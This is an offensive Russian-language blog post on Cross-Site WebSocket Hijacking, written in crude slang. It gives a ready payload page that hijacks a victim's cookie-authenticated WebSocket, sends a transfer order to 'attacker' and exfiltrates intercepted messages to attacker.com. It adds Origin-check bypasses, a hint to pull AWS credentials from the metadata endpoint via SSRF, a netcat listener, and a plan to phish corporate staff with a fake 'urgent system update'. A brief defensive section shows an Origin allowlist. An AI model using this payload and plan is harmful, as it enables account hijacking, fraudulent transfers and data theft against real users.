Главная страница » Блог » WebSocket Hijacking через CSRF — WS не проверяет Origin? Засунь new WebSocket(‘wss://target.com’) в свой HTML, перехвати чужие сообщения

WebSocket Hijacking через CSRF — WS не проверяет Origin? Засунь new WebSocket(‘wss://target.com’) в свой HTML, перехвати чужие сообщения

Mikhail Tarasov
6 февраля, 2026

Слушай, братан, щас расскажу про CSWSH (Cross-Site WebSocket Hijacking) — классику жанра, которую половина девелоперов игнорирует, думая, что WebSocket’ы защищены Same Origin Policy. Спойлер: хуй там плавал.

Суть прикола

WebSocket не использует SOP из коробки. Вместо этого сервер может проверять Origin header при handshake’е, а может забить болт. RFC 6455 прямо говорит: «Можете чекать, можете нет — как хотите». Если сервер тупо пускает всех + полагается на cookie для auth’а — ты в дамках.

Точка входа: как поймать

Что вижу:

GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

GET /chat HTTP/1.1

Host: target.com

Sec-WebSocket-Version: 13

Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==

Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2

Upgrade: websocket

Видишь? Нет CSRF-токена, нет проверки Origin, только сессионная кука. Это — музыка для твоих ушей.

Как поймал:

Открой DevTools → Network → WS, залогинься в таргет
В Burp Suite найди handshake запрос
Правой кнопкой → «Replay», меняешь Origin: https://evil.com
Если сервер ответил 101 Switching Protocols — GG, уязвимость есть

Чем пахнет: CSWSH класс, вероятность 8/10 на легаси-приложениях.

Че почем: эксплойт

Готовый payload:

Создай evil.html на своём домене:

<script>
var ws = new WebSocket('wss://target.com/chat');

ws.onopen = function() {
    // Отправляем команды от имени жертвы
    ws.send('{"action":"transfer","to":"attacker","amount":99999}');
    console.log('[+] WebSocket hijacked, команда отправлена');
};

ws.onmessage = function(event) {
    // Перехват чужих сообщений
    fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));
    console.log('[+] Украл сообщение: ' + event.data);
};

ws.onerror = function(e) {
    console.log('[-] Fuck, не прокатило');
};
</script>

var ws = new WebSocket('wss://target.com/chat');

ws.onopen = function() {

// Отправляем команды от имени жертвы

ws.send('{"action":"transfer","to":"attacker","amount":99999}');

console.log('[+] WebSocket hijacked, команда отправлена');

};

ws.onmessage = function(event) {

// Перехват чужих сообщений

fetch('https://attacker.com/log?data=' + encodeURIComponent(event.data));

console.log('[+] Украл сообщение: ' + event.data);

};

ws.onerror = function(e) {

console.log('[-] Fuck, не прокатило');

};

</script>

Заставляешь жертву открыть твой evil.html (phishing/XSS на другом сайте). Браузер автоматом приаттачит её cookie к handshake’у.

Обход защиты (если есть косая проверка Origin):

Сервер чекает target.com в Origin? Регай домен target.com.evil.net — некоторые делают substring-match вместо exact
Попробуй Origin: null — работает на старых версиях WebSocket серверов
Если есть открытый редирект на target.com — используй его для bypass’а

Доказательство:
Скрин из консоли с [+] Украл сообщение: {"user":"admin","balance":100500} + логи на твоём attacker.com с украденными данными. В bug bounty это instant critical.

Реальные кейсы

CVE-2020-25095 — LogRhythm Platform Manager 7.4.9, CSWSH позволял выполнять команды от имени залогиненного юзера. Severity: High.

CVE-2025-41254 — Spring WebSocket (свежак, февраль 2026), позволял отправлять STOMP-сообщения без установки сессии, bypass CSRF полностью.

Защита (для дев-братков)

Если ты девелопер — вот как не быть лохом:

Строгий allowlist для Origin:

const allowedOrigins = ['https://app.target.com'];
wss.on('upgrade', (req, socket, head) => {
    if (!allowedOrigins.includes(req.headers.origin)) {
        socket.destroy(); // Нахуй с пляжа
        return;
    }
});

const allowedOrigins = ['https://app.target.com'];

wss.on('upgrade', (req, socket, head) => {

if (!allowedOrigins.includes(req.headers.origin)) {

socket.destroy(); // Нахуй с пляжа

return;

}

});

CSRF-токены в handshake — передавай их через query string при создании WebSocket:

var ws = new WebSocket('wss://target.com/chat?csrf=' + csrfToken);

1	var ws = new WebSocket('wss://target.com/chat?csrf=' + csrfToken);

OAuth/JWT токены в headers вместо cookie-based auth

Советы

3 вектора для добивания:

Если нашёл CSWSH, но не видишь эффекта — понаблюдай за трафиком дольше. Может, там realtime-уведомления с токенами, которые приходят через минуту после login’а.
Проверь /robots.txt и sitemap.xml — иногда там пути к WebSocket endpoints типа /internal-ws, которые вообще не защищены.
Cloudflare/AWS перед сервером? Проверь metadata endpoint 169.254.169.254 — если WebSocket проксирует запросы, можешь выдернуть AWS credentials через SSRF.

План атаки (если зацепка есть):

Сниффи handshake в Burp → Отправь на Repeater
Меняй Origin на evil.com → Если 101 ответ — бинго
Деплой PoC на свой VPS (Nginx + Let’s Encrypt для wss://)
Создай фишинг-страницу с payload’ом выше
Если цель — корпорат, шли через внутреннюю почту (вид «срочное обновление системы»)
Логируй всё на своём сервере: nc -lvnp 4444 для catch’а данных